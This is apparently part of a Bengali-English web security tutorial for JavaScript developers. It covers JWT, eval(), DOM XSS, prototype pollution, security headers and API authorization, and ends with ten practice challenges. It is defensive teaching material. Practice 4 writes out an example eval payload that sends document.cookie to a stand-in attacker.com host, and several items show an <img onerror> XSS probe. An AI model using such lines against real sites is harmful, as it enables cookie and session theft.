🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
xxxxx.yyyyy.zzzzz
31.33 JWT-এর 3 অংশ
🛡️ JWT 3-PART STRUCTURE & TOKEN VERIFICATION
Header
   .
Payload
   .
Signature
🔹 Header

Algorithm/type information।

🔹 Payload

Claims।

🔹 Signature

Token integrity verify করতে সাহায্য করে।

31.34 JWT Encryption নয়

খুব গুরুত্বপূর্ণ:

⚠️ সাধারণ JWT payload encrypted নয়; এটি encoded।

তাই sensitive secret data payload-এর মধ্যে রাখবে না। যেমন:

JAVASCRIPT SourceJAVASCRIPT
{
    password: "123456"
}

এভাবে sensitive information JWT payload-এ রাখা উচিত নয়।

31.35 JWT Security

JWT ব্যবহারে:

  • Strong signing algorithm
  • Secure key management
  • Expiration
  • Proper audience/issuer validation
  • Algorithm confusion ভুল এড়ানো
  • Secure transport
  • Appropriate storage

গুরুত্বপূর্ণ।

Part 07 — Dangerous Execution: eval(), DOM Sinks & Prototype Pollution (31.36 – 31.43)
31.36 eval() কেন Dangerous?

JavaScript:

JAVASCRIPT Source❌ Vulnerable / Attack Vector
eval(userInput);

খুব dangerous pattern। কারণ user-controlled string code হিসেবে execute হতে পারে। Example:

JAVASCRIPT Source❌ Vulnerable / Attack Vector
const input = userInput;

eval(input);

এখানে untrusted input JavaScript code হিসেবে execute করার সুযোগ পেতে পারে।

31.37 eval() Avoid করো

সাধারণ application development-এ:

JAVASCRIPT Source❌ Vulnerable / Attack Vector
eval()

প্রয়োজন না হলে ব্যবহার করো না। আরও problematic হতে পারে:

JAVASCRIPT SourceJAVASCRIPT
new Function(userInput);

কারণ এটাও dynamically code execution করতে পারে।

31.38 DOM XSS এবং URL

এই pattern:

JAVASCRIPT SourceJAVASCRIPT
element.innerHTML = location.search;

বা:

JAVASCRIPT SourceJAVASCRIPT
element.innerHTML = location.hash;

dangerous হতে পারে। কারণ:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
URL
 
Untrusted Input
 
innerHTML
 
HTML interpretation
31.39 Safe DOM Pattern

Instead:

JAVASCRIPT Source✅ Secure / Mitigated Pattern
element.textContent = location.hash;

যদি HTML rendering genuinely দরকার হয়:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Input
 
Trusted/controlled processing
 
Proper sanitizer
 
Safe rendering
31.40 Prototype Pollution

JavaScript object-এর prototype system powerful। কিন্তু unsafe object merging/parsing pattern থেকে prototype pollution vulnerability তৈরি হতে পারে। Concept:

🛡️ PROTOTYPE POLLUTION OBJECT CHAIN VECTOR
Untrusted Input
      
Object merge/update
      
Prototype modified
      
Unexpected behavior
31.41 Prototype Pollution Example Concept

Dangerous deep merge logic যদি attacker-controlled keys blindly process করে:

JAVASCRIPT SourceJAVASCRIPT
merge(target, userInput);

এবং prototype-related keys properly handle না করে, application-এর object behavior unexpectedly পরিবর্তিত হতে পারে। বিশেষ করে historical patterns-এর মধ্যে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
__proto__
constructor
prototype

এর মতো property paths গুরুত্বপূর্ণ।

31.42 Prototype Pollution Prevention
🔹 1

Untrusted object blindly merge করো না।

🔹 2

Input allowlist করো।

🔹 3

Modern, well-maintained libraries ব্যবহার করো।

🔹 4

Dependencies updated রাখো।

🔹 5

Prototype-sensitive keys handle করো।

31.43 Object.create(null)

Prototype pollution-related design-এর কিছু ক্ষেত্রে:

JAVASCRIPT Source✅ Secure / Mitigated Pattern
const data = Object.create(null);

এতে normal Object.prototype chain থাকে না। তবে এটা সব problem-এর universal solution নয়।

Part 08 — Network Security: Clickjacking, HTTPS & Transport Layer Defense (31.44 – 31.47)
31.44 Clickjacking

Clickjacking হলো user-কে এমন UI interaction করানো যেখানে visible interface-এর আড়ালে বা deceptive framing-এর মাধ্যমে অন্য action trigger হতে পারে। Defense:

HTTP RESPONSE HEADERSHTTP
Content-Security-Policy:
frame-ancestors 'self'

এবং পুরনো/compatibility context-এ:

HTTP RESPONSE HEADERSHTTP
X-Frame-Options

ব্যবহার করা হতে পারে।

31.45 HTTPS

HTTP:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
http://

HTTPS:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
https://

HTTPS TLS ব্যবহার করে communication secure করে। এটি:

  • Confidentiality
  • Integrity
  • Server authentication

এর জন্য গুরুত্বপূর্ণ।

31.46 HTTPS কী Prevent করে না?

HTTPS থাকলেই application secure হয়ে যায় না। HTTPS:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Transport security

দেয়। কিন্তু:

🛡️ XSS INJECTION & EXECUTION PIPELINE
XSS
SQL Injection
Broken Authorization
Bad Authentication
CSRF

এসব automatically solve করে না।

31.47 SQL Injection — JavaScript Developer-এর জানা দরকার

Backend যদি user input সরাসরি SQL query-তে concatenate করে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
SQL query
+
Untrusted input

তাহলে injection vulnerability হতে পারে। Better:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Parameterized Query
Prepared Statement
ORM নিরাপদভাবে ব্যবহার

Frontend JavaScript validation SQL injection prevention-এর substitute নয়।

Part 09 — API Security, Authentication vs Authorization & Info Leakage (31.48 – 31.53)
31.48 API Security

Frontend:

JAVASCRIPT SourceJAVASCRIPT
fetch("/api/users");

API secure করতে:

🛡️ SAME-ORIGIN POLICY & CORS ACCESS CONTROL
Authentication
Authorization
Input validation
Rate limiting
HTTPS
CORS policy
Error handling
Logging

দরকার হতে পারে।

31.49 Authentication কখনো Frontend-only নয়

Dangerous assumption:

JAVASCRIPT SourceJAVASCRIPT
if (isAdmin) {
    showDeleteButton();
}

UI hide/show করা authorization নয়। Attacker manually API call করতে পারে। Backend-এ:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
DELETE /api/users/123
        
Authentication
        
Authorization
        
Allowed?
        
Delete

check করতে হবে।

31.50 UI Security vs Real Security

Frontend:

JAVASCRIPT Source❌ Vulnerable / Attack Vector
if (user.role === "admin") {
    showAdminPanel();
}

এটা UX control। কিন্তু backend-এও:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Is authenticated?
+
Is authorized?

verify করতে হবে।

🔹 🔥 Golden Rule
⚠️ Never trust the frontend for authorization.
31.51 Error Messages

Bad:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Login failed because password for admin@example.com is wrong.

এতে information leak হতে পারে। Better generic response:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Invalid email or password.

Backend logs-এ বিস্তারিত technical information রাখা যেতে পারে।

31.52 Sensitive Information Leak

Production-এ এমন error response avoid করো:

JAVASCRIPT SourceJAVASCRIPT
res.json({
    databasePassword: password,
    stackTrace: error.stack
});

User-facing response:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Something went wrong.

Server-side logs:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Detailed technical information
31.53 API Rate Limiting

একজন client যদি continuously:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
1000 requests/sec

পাঠায়, API overload হতে পারে। Rate limiting:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Client
 
Request count
 
Limit exceeded?
 
429 Too Many Requests

ধরনের mechanism ব্যবহার করতে পারে।

Part 10 — Password Hashing, Secrets Management & HTTP Security Headers (31.54 – 31.60)
31.54 Password Security

Password কখনো plaintext হিসেবে database-এ রাখবে না। Bad:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
password = "mypassword123"

Database-এ সরাসরি রাখা। Better:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Password
 
Strong Password Hashing
 
Database

Modern password hashing algorithms যেমন:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Argon2
bcrypt
scrypt

use case অনুযায়ী ব্যবহার করা হয়।

31.55 Password Hash ≠ Encryption

Hashing:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Password
 
Hash

Encryption:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Data
 
Encrypted Data
 
Key দিয়ে decrypt

Password storage-এর ক্ষেত্রে সাধারণত password hashing ব্যবহার করা হয়, reversible encryption নয়।

31.56 Secrets কখনো Frontend Code-এ রাখবে না

Bad:

JAVASCRIPT SourceJAVASCRIPT
const API_SECRET = "super-secret-key";

Frontend application-এ থাকা secret সত্যিকার অর্থে secret নয়। কারণ browser user-এর কাছে code/data পাঠানো হয়।

31.57 .env কি সব Secret বাঁচায়?

Frontend build tools-এ environment variables থাকলেও সব variable secret নয়। উদাহরণ:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
VITE_API_URL

frontend-এ expose করলে সেটা secret নয়। যে value browser-এ bundle হয়ে যায়:

⚠️ User সেটা eventually দেখতে পারে।
🔹 🔥 Rule:
⚠️ If the browser needs it, assume the user can inspect it.
31.58 Security Headers

Common security-related headers:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Content-Security-Policy
Strict-Transport-Security
X-Content-Type-Options
Referrer-Policy
Permissions-Policy

এছাড়া framing protection-এর জন্য:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
X-Frame-Options

ব্যবহার করা হতে পারে। Configuration application অনুযায়ী করতে হয়।

31.59 HSTS

HTTP Strict Transport Security Header:

HTTP RESPONSE HEADERSHTTP
Strict-Transport-Security: max-age=31536000

Browser-কে future requests-এর ক্ষেত্রে HTTPS ব্যবহার করতে নির্দেশ দিতে সাহায্য করে। Production deployment-এ carefully configure করতে হয়।

31.60 X-Content-Type-Options

Common value:

HTTP RESPONSE HEADERSHTTP
X-Content-Type-Options: nosniff

Browser-এর MIME type sniffing behavior সীমিত করতে সাহায্য করে।

Part 11 — Layered Defense, Supply Chain Audits & Secure Coding Mindset (31.61 – 31.70)
31.61 Security হলো Layered Defense

একটি secure application সাধারণত:

🛡️ SAME-ORIGIN POLICY & CORS ACCESS CONTROL
HTTPS
  +
Authentication
  +
Authorization
  +
Validation
  +
Safe Output
  +
CSP
  +
Secure Cookies
  +
CORS
  +
Rate Limiting
  +
Secure Dependencies
  +
Logging

ব্যবহার করে। এটাকে বলা যায়:

⚠️ Defense in Depth
31.62 Dependency Security

তুমি যদি:

CLI COMMANDBASH
npm install package-name

করো, third-party dependency তোমার application-এর security-এর অংশ হয়ে যায়। তাই:

CLI COMMANDBASH
npm audit

দিয়ে known vulnerabilities check করা যায়। এছাড়া:

CLI COMMANDBASH
npm outdated

দিয়ে outdated packages দেখা যায়। তবে audit-এর output blindly apply না করে dependency update-এর impact যাচাই করতে হবে।

31.63 Supply Chain Security

তোমার application:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Your Code
    +
npm Packages
    +
Build Tools
    +
CI/CD

সব মিলেই software supply chain। তাই:

  • Trusted dependencies
  • Lockfiles
  • Updates
  • Dependency review
  • Minimal dependencies

গুরুত্বপূর্ণ।

31.64 Secure Coding Example
🔹 ❌ Risky
JAVASCRIPT SourceJAVASCRIPT
const input = location.search;

document.querySelector("#output").innerHTML = input;
🔹 ✅ Safer
JAVASCRIPT Source✅ Secure / Mitigated Pattern
const input = location.search;

document.querySelector("#output").textContent = input;
31.65 Secure API Example

Frontend:

JAVASCRIPT SourceJAVASCRIPT
async function getProfile() {
    const response = await fetch("/api/profile", {
        credentials: "include"
    });

    if (!response.ok) {
        throw new Error("Request failed");
    }

    return response.json();
}

Backend-এর responsibility:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Authenticate
     
Authorize
     
Validate
     
Process
     
Return safe response
31.66 CORS ≠ Authentication

এটা খুব গুরুত্বপূর্ণ। CORS বলে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Which browser origins can access this response?

Authentication বলে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Who is the user?

Authorization বলে:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
What can this user do?

তিনটি আলাদা বিষয়।

31.67 CSP ≠ XSS Prevention-এর Complete Replacement

CSP XSS risk reduce করতে সাহায্য করে। কিন্তু:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
CSP
≠
Complete Security

Safe coding, output encoding, proper sanitization, framework protections—সব দরকার।

31.68 Validation ≠ Security-এর Complete Solution

এই:

JAVASCRIPT SourceJAVASCRIPT
if (username.length > 3) {
    // okay
}

শুধু business/input validation। Security-এর জন্য context অনুযায়ী:

🛡️ SECURITY ARCHITECTURE & DEFENSE DIAGRAM
Validation
+
Encoding
+
Sanitization
+
Authorization
+
Server-side checks

প্রয়োজন হতে পারে।

31.69 Secure Development Mindset

Code লেখার সময় নিজেকে প্রশ্ন করো:

🛡️ XSS INJECTION & EXECUTION PIPELINE
1. এই input কোথা থেকে এসেছে?
2. User কি এটা control করতে পারে?
3. আমি কি এটা HTML হিসেবে render করছি?
4. Backend কি আবার validate করছে?
5. User এই action-এর জন্য authorized?
6. Sensitive data কোথায় রাখা হচ্ছে?
7. Token JavaScript access করতে পারছে?
8. API কি HTTPS-এ চলছে?
9. Error response sensitive data leak করছে?
10. Dependency নিরাপদ ও updated?
31.70 🔥 MUST KNOW — ওয়েব সিকিউরিটির প্রধান স্তম্ভসমূহ

চ্যাপ্টার ৩১ থেকে প্রতিটি সফটওয়্যার ইঞ্জিনিয়ারের যেসব বিষয় সরাসরি মস্তিষ্কে গেঁথে থাকা বাধ্যতামূলক:

📌 1. XSS & DOM Security
  • Stored, Reflected, DOM-based XSS
  • Dangerous Sinks: innerHTML, eval()
  • Safe Sinks: textContent, DOMPurify
  • Content Security Policy (CSP)
📌 2. Request & Origin Security
  • CSRF & SameSite Cookies
  • Same-Origin Policy (SOP: Scheme+Host+Port)
  • CORS Preflight & Access-Control Headers
  • CORS is NOT Authentication
📌 3. Identity & Transport Defense
  • HttpOnly + Secure + SameSite Cookies
  • JWT Header.Payload.Signature & Verification
  • HTTPS, TLS & HSTS Strict Headers
  • Secrets Management & Server-side AuthZ
Part 12 — Quick Cheat Sheet, 10 Golden Security Rules & Hands-On Practice Lab
31.Cheat 🧠 Quick Cheat Sheet — Web Security Terminology

ওয়েব সিকিউরিটির সর্বাধিক ব্যবহৃত টার্মগুলোর তাৎক্ষণিক অর্থ ও ভূমিকা:

Conceptমনে রাখবে
XSSUntrusted script/content execution
CSRFAuthenticated user দিয়ে unwanted action করানোর চেষ্টা
CORSCross-origin browser access control
SOPSame-origin browser security policy
CSPAllowed resource/script policy
Authenticationতুমি কে?
Authorizationতুমি কী করতে পারো?
HttpOnlyJS থেকে cookie access বন্ধ করে
SecureHTTPS-এ cookie পাঠানোর জন্য
SameSiteCross-site cookie behavior control
JWTToken format
eval()Dynamic code execution; avoid
Prototype PollutionPrototype chain-এর unsafe modification
HTTPSTransport security
ValidationInput acceptable কি না
SanitizationUnsafe content clean/transform করা
Rate LimitingRequest abuse সীমিত করা
31.Rules 🔥 সবচেয়ে গুরুত্বপূর্ণ ১০টি Security Rules

প্রোডাকশন গ্রেড ওয়েব অ্যাপ্লিকেশন তৈরির সময় প্রতিটি ইঞ্জিনিয়ারের এই ১০টি মূলনীতি মেনে চলা আবশ্যক:

Rule 1: Never trust user input (Always validate & sanitize).
Rule 2: Never trust the frontend for authorization (Server-side check is mandatory).
Rule 3: Never put real secrets or private keys in frontend client code.
Rule 4: Avoid eval() and new Function() with untrusted input.
Rule 5: Prefer textContent over innerHTML for plain text rendering.
Rule 6: Validate input strictly on the server (Client validation is just UX).
Rule 7: Use HTTPS and HSTS for all communication in production.
Rule 8: Protect session credentials with HttpOnly; Secure; SameSite cookies.
Rule 9: Keep dependencies updated, lock versions and audit using npm audit.
Rule 10: Security is layered (Defense-in-Depth), never rely on a single defensive tool.
31.Lab 📝 Hands-On Practice Lab — 10 Web Security Challenges & Full Model Solutions

বাস্তব জীবনের প্রোডাকশন সিকিউরিটি ডিফেন্স যাচাই করতে ১০টি ইন্টারভিউ চ্যালেঞ্জের বিস্তারিত ব্যাখ্যা ও সমাধান:

Practice 1: DOM XSS Sinks: innerHTML vs textContent Beginner

❓ কোনটি safer: element.innerHTML = userInput নাকি element.textContent = userInput? কেন?

Practice 1 Security ChallengeJAVASCRIPT
// ❌ Dangerous Sink:
element.innerHTML = userInput; // Executes <img src=x onerror=alert(1)>

// ✅ Safe Property:
element.textContent = userInput; // Encodes characters as harmless plain text
▶ SYSTEM / CONSOLE LOGSecurity Log
Plain Text Safe Render
🔍 Model Solution & Defensive Architecture:
১. 'textContent' শতভাগ নিরাপদ। ২. কারণ: 'innerHTML' ব্রাউজারের HTML পার্সারকে সক্রিয় করে। যদি userInput-এ ক্ষতিকর স্ক্রিপ্ট বা ইভেন্ট হ্যান্ডলার (যেমন <img src="x" onerror="...">) থাকে, তবে ব্রাউজার তা এক্সিকিউট করে ফেলবে (DOM XSS)। ৩. অপরদিকে, 'textContent' ব্রাউজারের পার্সারকে বাইপাস করে এবং ইনপুটকে খাঁটি স্ট্রিং হিসেবে DOM টেক্সট নোডে ইনসার্ট করে। সব বিশেষ ক্যারেক্টার স্বয়ংক্রিয়ভাবে নিষ্ক্রিয় থাকে।
Practice 2: Authentication vs Authorization Distinction Beginner

❓ Authentication আর Authorization-এর মূল পার্থক্য কী?

Practice 2 Security Challenge❌ Vulnerable / Attack Vector
// Authentication (Identity Verification):
const isAuthenticated = verifyPassword(user.email, user.password); // "Who are you?"

// Authorization (Permission / Access Control):
const isAuthorized = user.role === "admin" && user.permissions.includes("DELETE_USER"); // "What are you allowed to do?"
▶ SYSTEM / CONSOLE LOGSecurity Log
AuthN: Verified User | AuthZ: Access Granted
🔍 Model Solution & Defensive Architecture:
১. Authentication (AuthN): এটি ব্যবহারকারীর পরিচয় নিশ্চিত করার প্রক্রিয়া—'তুমি কে?' (e.g. Email+Password, OTP, Biometrics)। ২. Authorization (AuthZ): পরিচয় নিশ্চিত হওয়ার পর ব্যবহারকারী নির্দিষ্ট কোনো রিসোর্স দেখতে বা পরিবর্তন করতে পারে কি না তা নির্ধারণ করা—'তুমি কী করতে পারো?' (e.g. Admin, Editor, Regular User)। ৩. সিকিউরিটি নোট: একজন ইউজার লগইন থাকলেই (Authenticated) সে অন্য কারো ডেটা ডিলিট করার অধিকার (Authorized) পায় না।
Practice 3: CORS (Cross-Origin Resource Sharing) Purpose Beginner

❓ CORS কী সমাধান করে এবং কেন এটি গুরুত্বপূর্ণ?

Practice 3 Security ChallengeJAVASCRIPT
// Browser Same-Origin Policy blocks Cross-Origin Fetch by default:
fetch("https://api.bank.com/data"); // Blocked if frontend is https://my-app.com

// Server sends CORS response header to explicitly allow access:
// Access-Control-Allow-Origin: https://my-app.com
▶ SYSTEM / CONSOLE LOGSecurity Log
Cross-Origin Access Allowed by Server
🔍 Model Solution & Defensive Architecture:
১. ব্রাউজারের Same-Origin Policy (SOP) ডিফল্টভাবে এক অরিজিন থেকে অন্য অরিজিনে JavaScript রিকোয়েস্টের রেসপন্স রিড করতে দেয় না। ২. CORS হলো একটি মেকানিজম যার মাধ্যমে সার্ভার ব্রাউজারকে নির্দেশ দেয় যে কোন কোন থার্ড-পার্টি অরিজিনকে এই এপিআই-এর রেসপন্স পড়ার অনুমতি দেওয়া যেতে পারে। ৩. গুরুত্বপূর্ণ সত্য: CORS কোনো সার্ভার-সাইড ফায়ারওয়াল বা অথেনটিকেশন নয়; এটি শুধুমাত্র ব্রাউজারকে প্রটেক্ট করে। Postman বা cURL দিয়ে CORS বাইপাস করা যায়।
Practice 4: eval() Code Injection Vulnerability Intermediate

❓ কেন eval(userInput) ব্যবহার করা অত্যন্ত বিপজ্জনক?

Practice 4 Security Challenge❌ Vulnerable / Attack Vector
// ❌ Extreme Hazard:
const userInput = 'fetch("https://attacker.com/steal?c=" + document.cookie)';
eval(userInput); // Arbitrary Code Executed with Full User Privileges!

// ✅ Safe Alternative:
const safeData = JSON.parse(userInputJson);
▶ SYSTEM / CONSOLE LOGSecurity Log
Malicious Code Injected & Executed
🔍 Model Solution & Defensive Architecture:
১. 'eval()' পাস করা যেকোনো স্ট্রিংকে সরাসরি পূর্ণাঙ্গ জাভাস্ক্রিপ্ট কোড হিসেবে এক্সিকিউট করে। ২. যদি কোনো আক্রমণকারী ইনপুটে ক্ষতিকর কোড পাঠায়, তবে এটি বর্তমান ইউজারের সমস্ত অধিকার (Cookies, Session, LocalStorage, DOM) দিয়ে ক্লায়েন্ট মেশিনে রান করবে। ৩. এটি JIT অপটিমাইজেশন নষ্ট করে পারফরম্যান্স কমায় এবং বিশাল সিকিউরিটি হোল তৈরি করে। আধুনিক জাভাস্ক্রিপ্টে ডেটা পার্সিংয়ের জন্য 'JSON.parse()' ব্যবহার করা উচিত।
Practice 5: Frontend Authorization Bypass Fallacy Intermediate

❓ কেন 'if (user.role === "admin") showDeleteButton();' সিকিউরিটির জন্য যথেষ্ট নয়?

Practice 5 Security Challenge❌ Vulnerable / Attack Vector
// ❌ Frontend-only UI Hiding (False Sense of Security):
if (user.role === "admin") {
    showDeleteButton();
}

// ⚠️ Attacker can easily inspect DevTools, unhide the button, or run:
fetch("/api/delete-user/42", { method: "DELETE" });

// ✅ Mandatory Server-side Authorization:
app.delete("/api/delete-user/:id", verifyToken, requireRole("admin"), (req, res) => {
    // Authorized action executed safely on server
});
▶ SYSTEM / CONSOLE LOGSecurity Log
Unauthorized Request Blocked with 403 Forbidden
🔍 Model Solution & Defensive Architecture:
১. ফ্রন্টএন্ড কোড ইউজারের ব্রাউজারে রান হয়, যা আক্রমণকারী সম্পূর্ণভাবে নিয়ন্ত্রণ (Inspect, Modify, Override) করতে পারে। ২. শুধু বাটন লুকিয়ে রাখা কোনো সিকিউরিটি নয়; আক্রমণকারী সরাসরি নেটওয়ার্ক ট্যাব বা কনসোল দিয়ে API এন্ডপয়েন্টে DELETE রিকোয়েস্ট পাঠিয়ে দিতে পারে। ৩. সমাধান: প্রতিটি সুরক্ষিত অ্যাকশনের জন্য ব্যাকএন্ড সার্ভারে রোল ও পারমিশন ভ্যালিডেশন (403 Forbidden) থাকা বাধ্যতামূলক।
Practice 6: Production Cookie Security Flags Breakdown Intermediate

❓ Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax এর প্রতিটি অংশের ভূমিকা ব্যাখ্যা করো।

Practice 6 Security Challenge✅ Secure / Mitigated Pattern
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax
▶ SYSTEM / CONSOLE LOGSecurity Log
Session Cookie Hardened against XSS & CSRF
🔍 Model Solution & Defensive Architecture:
১. 'sessionId=abc123': সেশন আইডেন্টিফায়ার কি-ভ্যালু পেয়ার। ২. 'HttpOnly': ক্লায়েন্ট-সাইড জাভাস্ক্রিপ্ট (document.cookie) দিয়ে এই কুকি পড়া বা চুরি করা সম্পূর্ণ বন্ধ করে, যা XSS আক্রমণ থেকে টোকেন রক্ষা করে। ৩. 'Secure': কুকিটি কেবল এনক্রিপ্টেড HTTPS কানেকশনেই ব্রাউজার সার্ভারে পাঠাবে; সাধারণ আন-এনক্রিপ্টেড HTTP দিয়ে পাঠাবে না (Man-in-the-Middle স্নাইফিং প্রতিরোধ)। ৪. 'SameSite=Lax': অন্য কোনো ওয়েবসাইট থেকে ক্রস-সাইট রিকোয়েস্ট (e.g. POST/Form submission) পাঠালে ব্রাউজার এই কুকি সংযুক্ত করবে না, যা CSRF আক্রমণ প্রতিরোধ করে।
Practice 7: DOM-Based XSS via URL Parameter Identification & Patch Advanced 🔥

❓ নিচের কোডের সিকিউরিটি সমস্যা চিহ্নিত করো এবং নিরাপদ কোডে রূপান্তর করো:

Practice 7 Security ChallengeJAVASCRIPT
// ❌ Vulnerable DOM-based XSS:
const query = location.search; // Attacker sends: ?name=<img src=x onerror=alert(1)>
document.querySelector("#result").innerHTML = query;

// ✅ Production Safe Solution:
const params = new URLSearchParams(location.search);
const safeQuery = params.get("name") || "";
document.querySelector("#result").textContent = safeQuery;
▶ SYSTEM / CONSOLE LOGSecurity Log
Sanitized Safe DOM Insertion
🔍 Model Solution & Defensive Architecture:
১. সমস্যা: URL প্যারামিটার থেকে সরাসরি 'innerHTML'-এ ডেটা অ্যাসাইন করায় DOM-Based XSS আক্রমণ সম্ভব। আক্রমণকারী ভিকটিমকে ক্ষতিকর প্যারামিটারসহ লিংক পাঠিয়ে সেশন হাইজ্যাক করতে পারে। ২. সমাধান: 'URLSearchParams' দিয়ে নিরাপদভাবে প্যারামিটার এক্সট্র্যাক্ট করে 'textContent' প্রোপার্টি ব্যবহার করতে হবে। যদি HTML রেন্ডার করতেই হয়, তবে DOMPurify দিয়ে স্যানিটাইজ করে নেওয়া বাধ্যতামূলক।
Practice 8: Comprehensive Defense Comparison: XSS vs CSRF vs CORS Advanced 🔥

❓ XSS, CSRF এবং CORS-এর মূল পার্থক্য ও সম্পর্ক এক নজরে ব্যাখ্যা করো।

Practice 8 Security ChallengeJAVASCRIPT
// XSS: Attacker runs arbitrary JavaScript inside victim's trusted browser.
// CSRF: Attacker tricks victim's browser into sending an authenticated request to a trusted server.
// CORS: Browser mechanism to allow or deny cross-origin HTTP responses.
▶ SYSTEM / CONSOLE LOGSecurity Log
XSS = Code Injection | CSRF = Request Forgery | CORS = Browser Origin Restriction
🔍 Model Solution & Defensive Architecture:
১. XSS (Cross-Site Scripting): ভিকটিমের ব্রাউজারে আক্রমণকারীর কোড রান করায়। প্রতিকার: Input Validation, textContent, DOMPurify, CSP। ২. CSRF (Cross-Site Request Forgery): আক্রমণকারী ভিকটিমের কুকি ব্যবহার করে না জেনে অন্য সাইটে ট্রানজেকশন করায়। প্রতিকার: SameSite Cookies, Anti-CSRF Tokens, Custom Headers। ৩. CORS (Cross-Origin Resource Sharing): ব্রাউজারকে ভিন্ন অরিজিন থেকে রেসপন্স পড়ার অনুমতি দেয়। প্রতিকার: সঠিক Access-Control-Allow-Origin সেট করা।
Practice 9: Frontend Secrets Leakage & Reverse Engineering Reality Advanced 🔥

❓ কেন frontend JavaScript কোডে 'const SECRET_API_KEY = "super-secret";' রাখা যাবে না?

Practice 9 Security ChallengeJAVASCRIPT
// ❌ Fatal Security Anti-Pattern:
const SECRET_STRIPE_KEY = "sk_live_51M..."; // Publicly Visible in Network & Sources tab!

// ✅ Safe Production Architecture:
// Frontend calls internal backend API -> Backend calls Stripe using Secret Key stored on Server Env.
▶ SYSTEM / CONSOLE LOGSecurity Log
Secret Protected Behind Server Proxy
🔍 Model Solution & Defensive Architecture:
১. ব্রাউজার একটি ওপেন ক্লায়েন্ট এনভায়রনমেন্ট। যেকোনো ইউজার F12 প্রেস করে Sources ট্যাব, নেটওয়ার্ক লগ বা বান্ডল কোড (মিনিফাইড হলেও) রিভার্স-ইঞ্জিনিয়ারিং করে সমস্ত স্ট্রিং পড়ে ফেলতে পারে। ২. '.env' ফাইলে ফ্রন্টএন্ডে কি রাখলেও তা বিল্ড টাইমে (Webpack/Vite) ক্লায়েন্ট কোডে সরাসরি প্রতিস্থাপিত হয়ে যায়। ৩. নিয়ম: কোনো প্রাইভেট কী বা ডেটাবেস সিক্রেট কখনো ফ্রন্টএন্ডে রাখা যাবে না। ফ্রন্টএন্ড কেবল নিজস্ব ব্যাকএন্ডের সাথে যোগাযোগ করবে, এবং ব্যাকএন্ড সিক্রেট কি দিয়ে থার্ড পার্টি এপিআই কল করবে।
Practice 10: End-to-End Enterprise Admin Dashboard Security Architecture Advanced 🔥

❓ একটি সুরক্ষিত অ্যাডমিন ড্যাশবোর্ডের প্রতিটি লেয়ারের সিকিউরিটি মেজার ডিজাইন করো:

Practice 10 Security Challenge✅ Secure / Mitigated Pattern
// Enterprise Multi-Layer Security Architecture:
// 1. Transport Layer: HTTPS (TLS 1.3) + HSTS
// 2. Client Security: CSP + Frame-Ancestors DENY + HttpOnly Cookies
// 3. Auth Pipeline: bcrypt hashed password + Rate-limited Login + MFA
// 4. API Layer: JWT Signature Verification + Server-side RBAC + Input Validation
// 5. Database: Parameterized SQL queries (No Injection) + Principle of Least Privilege
▶ SYSTEM / CONSOLE LOGSecurity Log
Zero-Trust Defense-in-Depth Pipeline Active
🔍 Model Solution & Defensive Architecture:
১. Transport: HTTPS এবং HSTS হেডার দিয়ে ম্যান-ইন-দ্য-মিডল স্নাইফিং বন্ধ করা। ২. Client/Browser: CSP দিয়ে আন-অথরাইজড স্ক্রিপ্ট এক্সিকিউশন রোধ এবং X-Frame-Options দিয়ে ক্লিকজ্যাকিং প্রতিরোধ। ৩. Authentication: ব্রুট-ফোর্স আটকাতে এপিআই রেট লিমিটিং, পাসওয়ার্ড হ্যাশিং (argon2/bcrypt) এবং রিফ্রেশ টোকেন রোটেশন। ৪. Session Management: এক্সেস টোকেন মেমরিতে এবং রিফ্রেশ টোকেন 'HttpOnly; Secure; SameSite=Strict' কুকিতে সংরক্ষণ। ৫. Authorization & Database: প্রতি এপিআই কলে রোল চেক (Admin Guard) এবং ডেটাবেসে প্যারামিটারাইজড কুয়েরি ব্যবহার।
31.Map 🎯 Final Mental Map — Global Web Security Architecture

ব্রাউজার, নেটওয়ার্ক, অ্যাপ্লিকেশন ও ডেটাবেস স্তরের সমন্বিত নিরাপত্তা কাঠামোর মানসিক মানচিত্র:

🛡️ Full-Stack Web Security Coordination Tree
WEB SECURITY
                         
       ──────────────────────────────────
                                         
                                         
   Browser            Identity          Network
   Security           Security          Security
                                         
       XSS            ─ Auth          HTTPS
       CSP            Authorization CORS
       SOP            ─ Cookies       CSRF
       ─ DOM Security  JWT            ─ Headers
       
       
   Input Security
       
       Validation
       Sanitization
       ─ Encoding
       Safe DOM APIs
                         
                         
